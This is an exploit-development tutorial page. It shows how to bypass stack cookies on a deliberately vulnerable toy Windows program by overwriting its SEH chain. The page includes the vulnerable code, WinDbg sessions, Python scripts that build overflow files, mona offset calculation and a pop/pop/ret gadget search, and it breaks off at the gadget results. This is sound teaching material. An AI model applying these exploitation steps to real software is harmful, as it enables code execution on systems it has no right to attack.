-
Notifications
You must be signed in to change notification settings - Fork 1
/
exploitme2-stack-cookies-seh-2.html
590 lines (541 loc) · 48.2 KB
/
exploitme2-stack-cookies-seh-2.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
<!DOCTYPE html>
<html>
<head>
<title>Exploitme2 (Stack cookies & SEH)</title>
<link rel="stylesheet" href="styles.css">
<link rel="stylesheet" href="highlight/styles/stackoverflow-dark.min.css">
<script src="highlight/highlight.min.js"></script>
<script>hljs.highlightAll();</script>
</head>
<body>
<div class="inner-content"><header class="page-header"><h1 class="page-title">Exploitme2 (Stack cookies & SEH)</h1></header><div class="page-content"><p>If you haven’t already, read the previous article (<a href="exploitme1-ret-eip-overwrite.html">Exploitme1</a>) and then come back here.</p><p>We’ll use the same <a href="code/exploitme2.cpp">code</a> as before:</p>
<pre><code class="language-cpp">#include <cstdio>
int main() {
char name[32];
printf("Enter your name and press ENTER\n");
scanf("%s", name);
printf("Hi, %s!\n", name);
return 0;
}
</code></pre>
<p>This time, however, we’ll configure things differently.</p><p>In <span style="color: #00ccff;">VS 2013</span>, we’ll disable <span style="color: #00ccff;">DEP</span> by going to <span style="color: #00ff00;">Project</span>→<span style="color: #00ff00;">properties</span>, and modifying the configuration for <span style="color: #00ff00;">Release</span> as follows:</p><ul><li>Configuration Properties<ul><li>Linker<ul><li>Advanced<ul><li>Data Execution Prevention (DEP): No (/NXCOMPAT:NO)</li></ul></li></ul></li></ul></li></ul><p>Make sure that we have</p><ul><li>Configuration Properties<ul><li>C/C++<ul><li>Code Generation<ul><li>Security Check: Enable Security Check (/GS)</li></ul></li></ul></li></ul></li></ul><p>If you still have the file <span style="color: #00ff00;">c:\name.dat</span> used for <span style="color: #00ff00;">exploitme1.exe</span>, and try to run <span style="color: #00ff00;">exploitme2.exe</span>, you’ll get a crash and no calculator. Why?</p><p>Here’s the corresponding assembly code:</p><pre class="ignore:true">int main() {
00101000 55 push ebp
00101001 8B EC mov ebp,esp
00101003 83 EC 24 sub esp,24h
00101006 A1 00 30 10 00 mov eax,dword ptr ds:[00103000h]
0010100B 33 C5 xor eax,ebp
0010100D 89 45 FC mov dword ptr [ebp-4],eax
char name[32];
printf("Enter your name and press ENTER\n");
00101010 68 00 21 10 00 push 102100h
00101015 FF 15 90 20 10 00 call dword ptr ds:[102090h]
scanf("%s", name);
0010101B 8D 45 DC lea eax,[name]
0010101E 50 push eax
0010101F 68 24 21 10 00 push 102124h
00101024 FF 15 94 20 10 00 call dword ptr ds:[102094h]
printf("Hi, %s!\n", name);
0010102A 8D 45 DC lea eax,[name]
0010102D 50 push eax
0010102E 68 28 21 10 00 push 102128h
00101033 FF 15 90 20 10 00 call dword ptr ds:[102090h]
return 0;
}
00101039 8B 4D FC mov ecx,dword ptr [ebp-4]
0010103C 83 C4 14 add esp,14h
0010103F 33 CD xor ecx,ebp
00101041 33 C0 xor eax,eax
00101043 E8 04 00 00 00 call __security_check_cookie (010104Ch)
00101048 8B E5 mov esp,ebp
0010104A 5D pop ebp
0010104B C3 ret</pre><p>Here’s the old code for comparison:</p><pre class="ignore:true">int main() {
01391000 55 push ebp
01391001 8B EC mov ebp,esp
01391003 83 EC 20 sub esp,20h
char name[32];
printf("Enter your name and press ENTER\n");
01391006 68 00 21 39 01 push 1392100h
0139100B FF 15 8C 20 39 01 call dword ptr ds:[139208Ch]
scanf("%s", name);
01391011 8D 45 E0 lea eax,[name]
01391014 50 push eax
01391015 68 24 21 39 01 push 1392124h
0139101A FF 15 94 20 39 01 call dword ptr ds:[1392094h]
printf("Hi, %s!\n", name);
01391020 8D 45 E0 lea eax,[name]
01391023 50 push eax
01391024 68 28 21 39 01 push 1392128h
01391029 FF 15 8C 20 39 01 call dword ptr ds:[139208Ch]
0139102F 83 C4 14 add esp,14h
return 0;
01391032 33 C0 xor eax,eax
}
01391034 8B E5 mov esp,ebp
01391036 5D pop ebp
01391037 C3 ret</pre><p>Let’s omit the uninteresting bits.</p><p>Old code:</p><pre class="ignore:true">int main() {
01391000 55 push ebp
01391001 8B EC mov ebp,esp
01391003 83 EC 20 sub esp,20h
.
.
.
01391034 8B E5 mov esp,ebp
01391036 5D pop ebp
01391037 C3 ret</pre><p>New code:</p><pre class="ignore:true">int main() {
00101000 55 push ebp
00101001 8B EC mov ebp,esp
00101003 83 EC 24 sub esp,24h
00101006 A1 00 30 10 00 mov eax,dword ptr ds:[00103000h]
0010100B 33 C5 xor eax,ebp
0010100D 89 45 FC mov dword ptr [ebp-4],eax
.
.
.
00101039 8B 4D FC mov ecx,dword ptr [ebp-4]
0010103C 83 C4 14 add esp,14h
0010103F 33 CD xor ecx,ebp
00101041 33 C0 xor eax,eax
00101043 E8 04 00 00 00 call __security_check_cookie (010104Ch)
00101048 8B E5 mov esp,ebp
0010104A 5D pop ebp
0010104B C3 ret</pre><p>After the <span style="color: #00ccff;">prolog</span> of the new code, the stack should look like this:</p><pre class="ignore:true"> esp --> name[0..3]
name[4..7]
.
.
.
name[28..31]
ebp-4 --> cookie
ebp --> saved ebp
ret eip
.
.
.</pre><p>The idea is that the prolog sets the <span style="color: #00ccff;">cookie</span> and the <span style="color: #00ccff;">epilog</span> checks that the cookie isn’t changed. If the cookie was changed, the epilog crashes the program before the <span style="color: #00ff00;">ret</span> instruction is executed. Note the position of the cookie: if we overflow <span style="color: #00ff00;">name</span>, we overwrite both the cookie and <span style="color: #00ff00;">ret eip</span>. The epilog crashes the program before we can take control of the execution flow.</p><p>Let’s look at the prolog:</p><pre class="ignore:true">00101006 A1 00 30 10 00 mov eax,dword ptr ds:[00103000h]
0010100B 33 C5 xor eax,ebp
0010100D 89 45 FC mov dword ptr [ebp-4],eax</pre><p>First the cookie is read from <span style="color: #00ff00;">ds:[00103000h]</span> and then it’s xored with EBP before it’s saved in <span style="color: #00ff00;">[ebp-4]</span>. This way, the cookie depends on EBP meaning that nested calls have different cookies. Of course, the cookie in <span style="color: #00ff00;">ds:[00103000h]</span> is random and was computed <em>at runtime</em> during the initialization.</p><p>Now that we understand the problem, we can go back to the <span style="color: #00ff00;">fread()</span> version of our code, which is easier (in a sense) to exploit:</p>
<pre><code class="language-cpp">#include <cstdio>
int main() {
char name[32];
printf("Reading name from file...\n");
FILE *f = fopen("c:\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
fread(name, 1, bytes, f);
name[bytes] = '\0';
fclose(f);
printf("Hi, %s!\n", name);
return 0;
}
</code></pre>
<p>Since we can’t take control of EIP through <span style="color: #00ff00;">ret eip</span>, we’ll try to modify the <span style="color: #00ccff;">SEH chain</span> by overwriting it. Lucky for us, the chain is on the stack. See the <a href="seh.html">Structure Exception Handling (SEH)</a> article if you don’t remember the specifics.</p><p>Open <span style="color: #00ff00;">exploitme2.exe</span> in WinDbg, put a breakpoint on <span style="color: #00ff00;">main</span> with</p><pre class="ignore:true">bp exploitme2!main</pre><p>and then let the program run by pressing <span style="color: #00ff00;">F5</span> (go).</p><p>When the execution stops (you should also see the source code) have a look at the stack and the SEH chain:</p><pre class="ignore:true">0:000> dd esp
0038fb20 011814d9 00000001 00625088 00615710
0038fb30 bd0c3ff1 00000000 00000000 7efde000
0038fb40 00000000 0038fb30 00000001 0038fb98
0038fb50 01181969 bc2ce695 00000000 0038fb68
0038fb60 75dd338a 7efde000 0038fba8 77c09f72
0038fb70 7efde000 77ebad68 00000000 00000000
0038fb80 7efde000 00000000 00000000 00000000
0038fb90 0038fb74 00000000 ffffffff 77c471f5
0:000> !exchain
0038fb4c: exploitme2!_except_handler4+0 (01181969)
CRT scope 0, filter: exploitme2!__tmainCRTStartup+115 (011814f1)
func: exploitme2!__tmainCRTStartup+129 (01181505)
0038fb98: ntdll!WinSqmSetIfMaxDWORD+31 (77c471f5)</pre><p>Remember that SEH nodes are 8-byte long and have this form:</p><pre class="ignore:true"><ptr to next SEH node in list>
<ptr to handler></pre><p>We can see that the first node is at address 0x38fb4c (i.e. <span style="color: #00ff00;">esp+0x2c</span>) and contains</p><pre class="ignore:true">0038fb98 <-- next SEH node
01181969 <-- handler (exploitme2!_except_handler4)</pre><p>The next and last SEH node is at 0x38fb98 (i.e.<span style="color: #00ff00;"> esp+0x78</span>) and contains</p><pre class="ignore:true">ffffffff <-- next SEH node (none - this is the last node)
77c471f5 <-- handler (ntdll!WinSqmSetIfMaxDWORD+31)</pre><p>Now put 100 ‘<span style="color: #00ff00;">a</span>‘s in <span style="color: #00ff00;">c:\name.dat</span> and step over the code (<span style="color: #00ff00;">F10</span>) until you have executed the <span style="color: #00ff00;">fread()</span> function. Let’s examine the SEH chain again:</p><pre class="ignore:true">0:000> !exchain
0038fb4c: 61616161
Invalid exception stack at 61616161</pre><p>As we can see, we managed to overwrite the SEH chain. Now let the program run (<span style="color: #00ff00;">F5</span>).</p><p>WinDbg will print the following:</p><pre class="ignore:true">STATUS_STACK_BUFFER_OVERRUN encountered
(1610.1618): Break instruction exception - code 80000003 (first chance)
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\syswow64\kernel32.dll -
eax=00000000 ebx=01182108 ecx=75e1047c edx=0038f4d1 esi=00000000 edi=6d5ee060
eip=75e1025d esp=0038f718 ebp=0038f794 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
kernel32!GetProfileStringW+0x12cc1:
75e1025d cc int 3</pre><p>This might mean that the epilog of <span style="color: #00ff00;">main()</span> detected that the cookie was modified and stopped us before we could do anything, but, actually, this security violation is due to some <span style="color: #00ccff;">bounds checking</span> related to the assignment after <span style="color: #00ff00;">fread</span>:</p>
<pre><code class="language-cpp">#include <cstdio>
int main() {
char name[32];
printf("Reading name from file...\n");
FILE *f = fopen("c:\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
fread(name, 1, bytes, f);
name[bytes] = '\0'; <-------------------------
fclose(f);
printf("Hi, %s!\n", name);
return 0;
}
</code></pre>
<p>Here’s the bounds checking:</p><pre class="ignore:true"> name[bytes] = '\0';
008B107A 83 FE 20 cmp esi,20h ; esi = bytes
008B107D 73 30 jae main+0AFh (08B10AFh)
008B107F 57 push edi
008B1080 C6 44 35 DC 00 mov byte ptr name[esi],0
.
.
.
008B10AF E8 48 01 00 00 call __report_rangecheckfailure (08B11FCh)</pre><p>In this case the epilog is never reached because of the bounds checking but the concept is the same. We overwrote the SEH chain but no exception was generated so the SEH chain wasn’t even used. We need to raise an exception <em>before</em> the bounds checking is performed (or the epilog of <span style="color: #00ff00;">main()</span> is reached).</p><p>Let’s do an experiment: let’s see if an exception would call the handler specified on the SEH chain. Modify the code as follows:</p>
<pre><code class="language-cpp">#include <cstdio>
int main() {
char name[32];
printf("Reading name from file...\n");
FILE *f = fopen("c:\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
fread(name, 1, bytes, f);
name[bytes] = bytes / 0; // '\0'; !!! divide by 0 !!!
fclose(f);
printf("Hi, %s!\n", name);
return 0;
}</code></pre>
<p>Note that we added a <span style="color: #00ff00;">division by 0</span> right after the <span style="color: #00ff00;">fread()</span> function. This should generate an exception and call the first handler of the SEH chain.</p><p>Compile the code, reopen it in WinDbg and hit <span style="color: #00ff00;">F5</span> (go). This is what happens:</p><pre class="ignore:true">(177c.12f4): Integer divide-by-zero - code c0000094 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for exploitme2.exe
eax=00000064 ebx=6d5ee060 ecx=00000000 edx=00000000 esi=00000001 edi=00000064
eip=012f107a esp=002cfbd4 ebp=002cfc2c iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
exploitme2!main+0x7a:
012f107a f7f9 idiv eax,ecx</pre><p>As we can see, WinDbg caught the exception before it could be seen by the program. Hit <span style="color: #00ff00;">F5</span> (go) again to pass the exception to the program. Here’s what we see:</p><pre class="ignore:true">(177c.12f4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=61616161 edx=77c2b4ad esi=00000000 edi=00000000
eip=61616161 esp=002cf638 ebp=002cf658 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
61616161 ?? ???</pre><p>We can see that <span style="color: #00ff00;">EIP = 0x61616161</span>. The only explanation is that the handler in the modified SEH chain was called!</p><p>Now we must find a way to raise an exception on our own before the bounds checking is performed (or the cookie is checked by the epilog of the <span style="color: #00ff00;">main()</span> function). First of all, we’ll remove the exception and change our code a little:</p>
<pre><code class="language-cpp">#include <cstdio>
int main() {
char name[32];
printf("Reading name from file...\n");
FILE *f = fopen("c:\\name.dat", "rb");
if (!f)
return -1;
fseek(f, 0L, SEEK_END);
long bytes = ftell(f);
fseek(f, 0L, SEEK_SET);
int pos = 0;
while (pos < bytes) {
int len = bytes - pos > 200 ? 200 : bytes - pos;
fread(name + pos, 1, len, f);
pos += len;
}
name[bytes] = '\0';
fclose(f);
printf("Hi, %s!\n", name);
return 0;
}</code></pre>
<p>We decided to read the file in blocks of 200 bytes because <span style="color: #00ff00;">fread()</span> may fail if it’s asked to read too many bytes. This way we can have a long file.</p><p>The stack is not infinite so if we keep writing to it till the end (highest address) an access violation will be raised. Let’s run <span style="color: #00ccff;">Python’s IDLE</span> and try with 1000 “<span style="color: #00ff00;">a</span>“s:</p>
<pre><code class="language-python">with open('c:\\name.dat', 'wb') as f:
f.write('a'*1000)
</code></pre>
<p>By running <span style="color: #00ff00;">exploitme2.exe</span> in WinDbg it’s easy to verify that 1000 “<span style="color: #00ff00;">a</span>“s aren’t enough. Let’s try with 2000:</p>
<pre><code class="language-python">with open('c:\\name.dat', 'wb') as f:
f.write('a'*2000)
</code></pre>
<p>It doesn’t work either. Finally, with 10000 “<span style="color: #00ff00;">a</span>“s, we get this:</p><pre class="ignore:true">(17d4.1244): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\SysWOW64\MSVCR120.dll -
eax=00816808 ebx=000000c8 ecx=00000030 edx=000000c8 esi=008167d8 edi=003c0000
eip=6d51f20c esp=003bfb68 ebp=003bfb88 iopl=0 nv up ei ng nz na pe cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010287
MSVCR120!wcslen+0x19:
6d51f20c f3a4 rep movs byte ptr es:[edi],byte ptr [esi]</pre><p>After pressing <span style="color: #00ff00;">F5</span> (go) we get:</p><pre class="ignore:true">(17d4.1244): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=61616161 edx=77c2b4ad esi=00000000 edi=00000000
eip=61616161 esp=003bf5cc ebp=003bf5ec iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
61616161 ?? ???</pre><p>This is what we wanted: <span style="color: #00ff00;">EIP = 0x61616161</span>. We know that our “<span style="color: #00ff00;">a</span>“s overwrote the handler address of a SEH node, but which 4 “<span style="color: #00ff00;">a</span>“s exactly? In other words, <em>at what offset</em> in the file should we put the address we want to redirect the execution to?</p><p>An easy way to do this is to use a special pattern instead of simple “<span style="color: #00ff00;">a</span>“s. This pattern is designed so that given 4 consecutive bytes of the pattern we can tell immediately at which offset of the pattern these 4 bytes are located.</p><p><span style="color: #00ccff;">mona</span> (<a href="mona2.html">article</a>) can help us with this:</p><pre class="ignore:true">0:000> !py mona pattern_create 10000
Hold on...
[+] Command used:
!py mona.py pattern_create 10000
Creating cyclic pattern of 10000 bytes
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8...<span style="color: #00ff00;">(snipped)</span>
[+] Preparing output file 'pattern.txt'
- (Re)setting logfile pattern.txt
Note: don't copy this pattern from the log window, it might be truncated !
It's better to open pattern.txt and copy the pattern from the file
[+] This mona.py action took 0:00:00</pre><p>With a little bit of Python we can write the pattern to <span style="color: #00ff00;">c:\name.dat</span>:</p>
<pre><code class="language-python">with open('c:\\name.dat', 'wb') as f:
pattern = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8...(snipped)'
f.write(pattern)
</code></pre>
<p>Note that I snipped the pattern because it was too long to show here.</p><p>We restart <span style="color: #00ff00;">exploitme2.exe</span> in WinDbg, we hit <span style="color: #00ff00;">F5</span> (go) twice and we get:</p><pre class="ignore:true">(11e0.11e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=64413963 edx=77c2b4ad esi=00000000 edi=00000000
eip=64413963 esp=0042f310 ebp=0042f330 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
64413963 ?? ???</pre><p>We can see that <span style="color: #00ff00;">EIP = 0x64413963</span>. Let’s see at which offset of the pattern it’s located. Remeber that Intel CPUs are <span style="color: #00ccff;">little endian</span> so <span style="color: #00ff00;">0x64413963 = “\x63\x39\x41\x64” = “c9Ad”</span>. Let’s use mona to determine the offset:</p><pre class="ignore:true">0:000> !py mona pattern_offset 64413963
Hold on...
[+] Command used:
!py mona.py pattern_offset 64413963
Looking for c9Ad in pattern of 500000 bytes
- Pattern c9Ad (0x64413963) found in cyclic pattern at position 88
Looking for c9Ad in pattern of 500000 bytes
Looking for dA9c in pattern of 500000 bytes
- Pattern dA9c not found in cyclic pattern (uppercase)
Looking for c9Ad in pattern of 500000 bytes
Looking for dA9c in pattern of 500000 bytes
- Pattern dA9c not found in cyclic pattern (lowercase)
[+] This mona.py action took 0:00:00.172000</pre><p>The offset is 88. Let’s verify that that’s the correct offset with the following Python script:</p>
<pre><code class="language-python">with open('c:\\name.dat', 'wb') as f:
handler = 'bbbb'
f.write('a'*88 + handler + 'c'*(10000-88-len(handler)))
</code></pre>
<p>This time WinDbg outputs this:</p><pre class="ignore:true">(1b0c.1bf4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=62626262 edx=77c2b4ad esi=00000000 edi=00000000
eip=62626262 esp=002af490 ebp=002af4b0 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
62626262 ?? ???</pre><p>Since <span style="color: #00ff00;">0x62626262 = “bbbb”</span>, this is exactly what we wanted.</p><p>Now that we know where to put our address in the file, we need to decide which address to use. In WinDbg click on <span style="color: #00ff00;">View</span>→<span style="color: #00ff00;">Memory</span> and under “<span style="color: #00ff00;">Virtual:</span>” type <span style="color: #00ff00;">@esp</span> to see the part of stack pointed to by ESP. In my case, <span style="color: #00ff00;">ESP = 0x2af490</span> and our “<span style="color: #00ff00;">b</span>“s are at <span style="color: #00ff00;">@esp+6d4</span>.</p><p>Let’s restart<span style="color: #00ff00;"> exploitme2.exe</span> to see if 6d4 is a constant. Enter again <span style="color: #00ff00;">@esp+6d4</span> under “<span style="color: #00ff00;">Virtual:</span>” in the <span style="color: #00ff00;">Memory</span> window and you should see that it still points to our 4 “<span style="color: #00ff00;">b</span>“s. We can also see that ESP is always different, even though the offset 6d4 doesn’t change.</p><p>So we could put our shellcode right after the 4 “<span style="color: #00ff00;">b</span>“s and replace those “<span style="color: #00ff00;">b</span>“s with the address of a piece of code like this:</p>
<pre><code class="language-x86asm">ADD ESP, 6d8
JMP ESP
</code></pre>
<p>Note that we used 6d8, i.e. <span style="color: #00ff00;">6d4+4</span> to skip the “<span style="color: #00ff00;">b</span>“s and jump to the shellcode which we’ll put in place of our “<span style="color: #00ff00;">c</span>“s. Of course, <span style="color: #00ff00;">ADD ESP, 6e0</span> or similar would do as well. Unfortunately, it’s not easy to find such code, but there’s an easier way.</p><p>Restart <span style="color: #00ff00;">exploitme2.exe</span>, hit <span style="color: #00ff00;">F5</span> (go) twice and have another look at the stack:</p><pre class="ignore:true">0:000> dd esp
002df45c 77c2b499 002df544 002dfb2c 002df594
002df46c 002df518 002dfa84 77c2b4ad 002dfb2c
002df47c 002df52c 77c2b46b 002df544 002dfb2c
002df48c 002df594 002df518 62626262 00000000
002df49c 002df544 002dfb2c 77c2b40e 002df544
002df4ac 002dfb2c 002df594 002df518 62626262
002df4bc 002e1000 002df544 00636948 00000000
002df4cc 00000000 00000000 00000000 00000000</pre><p>The dword at<span style="color: #00ff00;"> esp+8</span> looks interesting. If we have a look at that address we see the following:</p><pre class="ignore:true">0:000> db poi(esp+8)
002dfb2c 61 61 61 61 62 62 62 62-63 63 63 63 63 63 63 63 aaaabbbbcccccccc
002dfb3c 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
002dfb4c 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
002dfb5c 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
002dfb6c 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
002dfb7c 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
002dfb8c 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc
002dfb9c 63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63 cccccccccccccccc</pre><p>It seems that 0x2dfb2c points to the 4 “<span style="color: #00ff00;">a</span>“s preceding our “<span style="color: #00ff00;">b</span>“s. Remember that “<span style="color: #00ff00;">bbbb</span>” overwrote the “<span style="color: #00ff00;">handler</span>” field of a SEH node, so 0x2dfb2c must point to the “<span style="color: #00ff00;">next SEH node</span>” field of the same SEH node. Let’s verify this:</p><pre class="ignore:true">0:000> !exchain
002df470: ntdll!ExecuteHandler2+3a (77c2b4ad)
002dfa84: MSVCR120!_ValidateRead+439 (6d52a0d5)
002dfb2c: 62626262
Invalid exception stack at 61616161</pre><p>It seems that we overwrote the third SEH node:</p><pre class="ignore:true">0:000> dt _EXCEPTION_REGISTRATION_RECORD 002dfb2c
ntdll!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : 0x61616161 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : 0x62626262 _EXCEPTION_DISPOSITION +62626262</pre><p>First of all, make sure that <span style="color: #00ff00;">esp+8</span> always contain the right address by restarting the process and trying again. After having verified that, we need to find something like this:</p><pre class="ignore:true">POP reg32
POP reg32
RET</pre><p>The idea is to put the address of such a piece of code in place of our 4 “<span style="color: #00ff00;">b</span>“s. When executed, this code will increment ESP by 8 (through the two <span style="color: #00ff00;">POP</span>s) and then extract the value pointed to by ESP and jump to it. This does exactly what we want, i.e. it’ll jump to the 4 “<span style="color: #00ff00;">a</span>“s right before our “<span style="color: #00ff00;">b</span>“s. To skip the “<span style="color: #00ff00;">b</span>“s and jump to our shellcode (our “<span style="color: #00ff00;">c</span>“s), we need to put a <span style="color: #00ff00;">jmp</span> right before the “<span style="color: #00ff00;">b</span>“s.</p><p>The opcode of a <span style="color: #00ff00;">JMP short</span> is</p><pre class="ignore:true">EB XX</pre><p>where <span style="color: #00ff00;">XX</span> is a <em>signed byte</em>. Let’s add a label for convenience:</p><pre class="ignore:true">here:
EB XX</pre><p>That opcode jumps to <span style="color: #00ff00;">here+2+XX</span>. For example,</p><pre class="ignore:true"> EB 00
there:</pre><p>jumps right after the jump itself, i.e. to <span style="color: #00ff00;">there</span>.</p><p>This is what we want:</p><p>
<a href="images/pic_a2.png"><img src="images/pic_a2.png" alt="pic_a2" width="631" height="146"></a>
<br> 90 is the opcode for a <span style="color: #00ff00;">NOP</span> (no operation – it does nothing) but we can use whatever we want since those two bytes will by skipped.</p><p>Now let’s find the address of <span style="color: #00ff00;">pop/pop/ret</span> in <span style="color: #00ff00;">kernel32.dll</span>:</p><pre class="ignore:true">0:000> !py mona findwild -s "pop r32#pop r32#ret" -m kernel32.dll
Hold on...
[+] Command used:
!py mona.py findwild -s pop r32#pop r32#ret -m kernel32.dll
---------- Mona command started on 2015-03-18 20:33:46 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
- Pointer access level : X
- Only querying modules kernel32.dll
[+] Type of search: str
[+] Searching for matches up to 8 instructions deep
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] Started search (8 start patterns)
[+] Searching startpattern between 0x75dc0000 and 0x75ed0000
[+] Preparing output file 'findwild.txt'
- (Re)setting logfile findwild.txt
[+] Writing results to findwild.txt
- Number of pointers of type 'pop edi # pop ebp # retn 24h' : 1
- Number of pointers of type 'pop esi # pop ebx # retn' : 2
- Number of pointers of type 'pop ebx # pop ebp # retn 14h' : 4
- Number of pointers of type 'pop ebx # pop ebp # retn 10h' : 14
- Number of pointers of type 'pop edi # pop esi # retn' : 2
- Number of pointers of type 'pop edi # pop ebp # retn 8' : 13
- Number of pointers of type 'pop eax # pop ebp # retn 1ch' : 2
- Number of pointers of type 'pop ecx # pop ebx # retn 4' : 1
- Number of pointers of type 'pop esi # pop ebp # retn' : 1
- Number of pointers of type 'pop ebx # pop ebp # retn 1ch' : 4
- Number of pointers of type 'pop eax # pop ebp # retn 0ch' : 8
- Number of pointers of type 'pop edi # pop ebp # retn 1ch' : 2
- Number of pointers of type 'pop eax # pop ebp # retn 20h' : 2
- Number of pointers of type 'pop esi # pop ebp # retn 0ch' : 49
- Number of pointers of type 'pop eax # pop ebp # retn' : 2
- Number of pointers of type 'pop eax # pop ebp # retn 4' : 3
- Number of pointers of type 'pop esi # pop ebp # retn 20h' : 2
- Number of pointers of type 'pop ebx # pop ebp # retn 0ch' : 27
- Number of pointers of type 'pop esi # pop ebp # retn 24h' : 1
- Number of pointers of type 'pop eax # pop ebp # retn 18h' : 3
- Number of pointers of type 'pop edi # pop ebp # retn 0ch' : 11
- Number of pointers of type 'pop esi # pop ebp # retn 10h' : 15
- Number of pointers of type 'pop esi # pop ebp # retn 18h' : 10
- Number of pointers of type 'pop esi # pop ebp # retn 14h' : 11
- Number of pointers of type 'pop edi # pop ebp # retn 10h' : 6
- Number of pointers of type 'pop eax # pop ebp # retn 8' : 5
- Number of pointers of type 'pop ebx # pop ebp # retn 4' : 11
- Number of pointers of type 'pop esi # pop ebp # retn 4' : 70
- Number of pointers of type 'pop esi # pop ebp # retn 8' : 62
- Number of pointers of type 'pop edx # pop eax # retn' : 1
- Number of pointers of type 'pop ebx # pop ebp # retn 8' : 26
- Number of pointers of type 'pop ebx # pop ebp # retn 18h' : 6
- Number of pointers of type 'pop ebx # pop ebp # retn 20h' : 2
- Number of pointers of type 'pop eax # pop ebp # retn 10h' : 3
- Number of pointers of type 'pop eax # pop ebp # retn 14h' : 3
- Number of pointers of type 'pop ebx # pop ebp # retn' : 4
- Number of pointers of type 'pop edi # pop ebp # retn 14h' : 2
- Number of pointers of type 'pop edi # pop ebp # retn 4' : 5
[+] Results :
